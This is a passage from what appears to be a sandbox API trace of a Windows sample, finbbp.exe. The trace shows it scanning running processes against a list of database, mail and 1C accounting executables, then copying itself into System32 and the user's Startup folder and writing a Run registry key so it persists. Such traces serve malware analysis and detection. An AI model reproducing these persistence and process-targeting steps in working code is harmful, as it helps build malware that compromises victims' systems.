[0088.802] lstrcmpiW (lpString1="1c8.exe", lpString2="WmiPrvSE.exe") returned -1 [0088.802] lstrcmpiW (lpString1="1cv77.exe", lpString2="WmiPrvSE.exe") returned -1 [0088.802] lstrcmpiW (lpString1="outlook.exe", lpString2="WmiPrvSE.exe") returned -1 [0088.802] lstrcmpiW (lpString1="postgres.exe", lpString2="WmiPrvSE.exe") returned -1 [0088.802] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="WmiPrvSE.exe") returned -1 [0088.802] lstrcmpiW (lpString1="mysqld.exe", lpString2="WmiPrvSE.exe") returned -1 [0088.802] lstrcmpiW (lpString1="sqlservr.exe", lpString2="WmiPrvSE.exe") returned -1 [0088.802] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.803] lstrlenW (lpString="svchost.exe") returned 11 [0088.803] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0088.803] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0088.803] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0088.803] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0088.803] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0088.803] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0088.803] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0088.803] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0088.805] lstrlenW (lpString="taskhostw.exe") returned 13 [0088.805] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1 [0088.805] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1 [0088.805] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1 [0088.805] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1 [0088.805] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1 [0088.805] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1 [0088.805] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1 [0088.805] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0088.806] lstrlenW (lpString="UsoClient.exe") returned 13 [0088.806] lstrcmpiW (lpString1="1c8.exe", lpString2="UsoClient.exe") returned -1 [0088.806] lstrcmpiW (lpString1="1cv77.exe", lpString2="UsoClient.exe") returned -1 [0088.806] lstrcmpiW (lpString1="outlook.exe", lpString2="UsoClient.exe") returned -1 [0088.806] lstrcmpiW (lpString1="postgres.exe", lpString2="UsoClient.exe") returned -1 [0088.806] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="UsoClient.exe") returned -1 [0088.806] lstrcmpiW (lpString1="mysqld.exe", lpString2="UsoClient.exe") returned -1 [0088.806] lstrcmpiW (lpString1="sqlservr.exe", lpString2="UsoClient.exe") returned -1 [0088.806] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0088.807] lstrlenW (lpString="taskhostw.exe") returned 13 [0088.807] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1 [0088.807] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1 [0088.807] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1 [0088.807] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1 [0088.807] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0088.809] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0088.809] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0088.810] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0088.810] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0088.811] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0088.811] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x128c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0088.811] lstrlenW (lpString="conhost.exe") returned 11 [0088.811] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1274, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0088.812] lstrlenW (lpString="conhost.exe") returned 11 [0088.812] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.813] lstrlenW (lpString="svchost.exe") returned 11 [0088.813] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0088.814] lstrlenW (lpString="dllhost.exe") returned 11 [0088.814] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0088.815] lstrlenW (lpString="dllhost.exe") returned 11 [0088.815] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0088.815] lstrlenW (lpString="finbbp.exe") returned 10 [0088.815] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 0 [0088.816] CloseHandle (hObject=0x240) returned 1 [0088.816] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ca4f8 | out: hHeap=0x4b0000) returned 1 [0088.816] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ca228 | out: hHeap=0x4b0000) returned 1 [0088.816] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c51f0 | out: hHeap=0x4b0000) returned 1 [0088.816] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c53b0 | out: hHeap=0x4b0000) returned 1 [0088.817] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c6048 | out: hHeap=0x4b0000) returned 1 [0088.817] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f5438 | out: hHeap=0x4b0000) returned 1 [0088.817] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c5370 | out: hHeap=0x4b0000) returned 1 [0088.817] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c5130 | out: hHeap=0x4b0000) returned 1 [0088.817] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eef48 | out: hHeap=0x4b0000) returned 1 [0088.817] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eed18 | out: hHeap=0x4b0000) returned 1 [0088.817] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c5150 | out: hHeap=0x4b0000) returned 1 [0088.817] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eedb8 | out: hHeap=0x4b0000) returned 1 [0088.817] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x4f7700 [0088.817] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x507708 [0088.818] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f53c0 [0088.818] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f53c0, Size=0x20) returned 0x4eef48 [0088.818] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eef48, Size=0x40) returned 0x4ca390 [0088.818] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f5438 [0088.818] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5438, Size=0x20) returned 0x4eedb8 [0088.818] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f5420 [0088.818] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5420, Size=0x20) returned 0x4eef20 [0088.818] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f5438 [0088.818] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5438, Size=0x20) returned 0x4eeea8 [0088.818] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eeea8, Size=0x40) returned 0x4ca660 [0088.818] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x507708, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\finbbp.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\finbbp.exe")) returned 0x22 [0088.818] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x517710 [0088.868] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x527718 [0088.868] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f5258 [0088.868] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5258, Size=0x20) returned 0x4eecc8 [0088.868] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eecc8, Size=0x40) returned 0x4ca4f8 [0088.868] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ca4f8, Size=0x80) returned 0x4f4e20 [0088.868] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f4e20, Size=0x100) returned 0x4f5f40 [0088.868] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0088.868] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f5f40 | out: hHeap=0x4b0000) returned 1 [0088.869] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\finbbp.exe", lpDst=0x517710, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\finbbp.exe") returned 0x1f [0088.869] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x527718 | out: hHeap=0x4b0000) returned 1 [0088.869] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x517710 | out: hHeap=0x4b0000) returned 1 [0088.870] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x2366020 [0088.873] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f5330 [0088.873] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5330, Size=0x20) returned 0x4eee58 [0088.873] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f52d0 [0088.873] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f52d0, Size=0x20) returned 0x4eef48 [0088.873] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0088.873] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0088.873] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0088.873] lstrlenW (lpString="kernel32.dll") returned 12 [0088.873] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eee58 | out: hHeap=0x4b0000) returned 1 [0088.873] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0088.873] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eef48 | out: hHeap=0x4b0000) returned 1 [0088.873] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\finbbp.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\finbbp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0088.874] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\finbbp.exe" (normalized: "c:\\windows\\system32\\finbbp.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0088.877] ReadFile (in: hFile=0x240, lpBuffer=0x2366020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2366020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0088.904] WriteFile (in: hFile=0x244, lpBuffer=0x2366020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2366020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0088.907] ReadFile (in: hFile=0x240, lpBuffer=0x2366020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2366020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0088.907] CloseHandle (hObject=0x244) returned 1 [0088.917] CloseHandle (hObject=0x240) returned 1 [0088.918] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f51f8 [0088.918] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f51f8, Size=0x20) returned 0x4eee58 [0088.918] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f52d0 [0088.918] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f52d0, Size=0x20) returned 0x4eee08 [0088.918] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0088.918] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0088.918] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0088.918] lstrlenW (lpString="kernel32.dll") returned 12 [0088.918] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eee08 | out: hHeap=0x4b0000) returned 1 [0088.918] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0088.918] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eee58 | out: hHeap=0x4b0000) returned 1 [0088.918] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x2366020 | out: hHeap=0x4b0000) returned 1 [0088.924] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f5168 [0088.924] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5168, Size=0x20) returned 0x4eee08 [0088.924] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eee08, Size=0x40) returned 0x4ca270 [0088.924] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ca270, Size=0x80) returned 0x4f4f30 [0088.924] lstrlenW (lpString="C:\\WINDOWS\\System32\\finbbp.exe") returned 30 [0088.924] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0088.924] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x5c) returned 0x4c7cb0 [0088.924] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0088.925] RegSetValueExW (in: hKey=0x240, lpValueName="finbbp.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\finbbp.exe", cbData=0x3c | out: lpData="C:\\WINDOWS\\System32\\finbbp.exe") returned 0x0 [0088.925] RegCloseKey (hKey=0x240) returned 0x0 [0088.925] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c7cb0 | out: hHeap=0x4b0000) returned 1 [0088.925] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0088.925] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f4f30 | out: hHeap=0x4b0000) returned 1 [0088.925] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x517710 [0088.926] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x527718 [0088.926] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f5360 [0088.926] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5360, Size=0x20) returned 0x4eed40 [0088.926] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eed40, Size=0x40) returned 0x4ca108 [0088.926] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ca108, Size=0x80) returned 0x4f4050 [0088.926] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f4050, Size=0x100) returned 0x4f5f40 [0088.926] lstrlenW (lpString="") returned 0 [0088.926] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0088.926] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8c) returned 0x4f6048 [0088.926] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0 [0088.927] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x527718, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x527718*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0088.927] RegCloseKey (hKey=0x240) returned 0x0 [0088.927] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f6048 | out: hHeap=0x4b0000) returned 1 [0088.927] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0088.927] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8c) returned 0x4f6048 [0088.927] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0088.927] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x527718, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0088.927] RegCloseKey (hKey=0x244) returned 0x0 [0088.928] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f6048 | out: hHeap=0x4b0000) returned 1 [0088.928] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0088.928] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0088.928] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f5f40 | out: hHeap=0x4b0000) returned 1 [0088.928] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe", lpDst=0x517710, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe") returned 0x59 [0088.928] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x527718 | out: hHeap=0x4b0000) returned 1 [0088.990] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x517710 | out: hHeap=0x4b0000) returned 1 [0088.991] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x2367020 [0088.994] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f5348 [0088.994] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5348, Size=0x20) returned 0x4eef48 [0088.994] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f5348 [0088.994] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5348, Size=0x20) returned 0x4eecc8 [0088.994] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0088.994] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0088.994] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0088.994] lstrlenW (lpString="kernel32.dll") returned 12 [0088.994] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eef48 | out: hHeap=0x4b0000) returned 1 [0088.994] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0088.994] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eecc8 | out: hHeap=0x4b0000) returned 1 [0088.994] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\finbbp.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\finbbp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0088.995] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0089.030] ReadFile (in: hFile=0x244, lpBuffer=0x2367020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2367020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0089.044] WriteFile (in: hFile=0x248, lpBuffer=0x2367020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2367020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0089.047] ReadFile (in: hFile=0x244, lpBuffer=0x2367020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2367020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0089.047] CloseHandle (hObject=0x248) returned 1 [0089.074] CloseHandle (hObject=0x244) returned 1 [0089.074] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f5240 [0089.074] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5240, Size=0x20) returned 0x4eee08 [0089.074] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f5450 [0089.074] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5450, Size=0x20) returned 0x4eed18 [0089.074] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0089.074] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0089.075] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0089.075] lstrlenW (lpString="kernel32.dll") returned 12 [0089.075] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eed18 | out: hHeap=0x4b0000) returned 1 [0089.075] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0089.075] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eee08 | out: hHeap=0x4b0000) returned 1 [0089.075] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x2367020 | out: hHeap=0x4b0000) returned 1 [0089.081] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x517710 [0089.082] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x527718 [0089.082] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f52d0 [0089.082] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f52d0, Size=0x20) returned 0x4eef48 [0089.082] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eef48, Size=0x40) returned 0x4ca030 [0089.082] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ca030, Size=0x80) returned 0x4f4e20 [0089.082] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f4e20, Size=0x100) returned 0x4f5f40 [0089.082] lstrlenW (lpString="") returned 0 [0089.082] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0089.082] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8c) returned 0x4f6048 [0089.082] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0089.083] 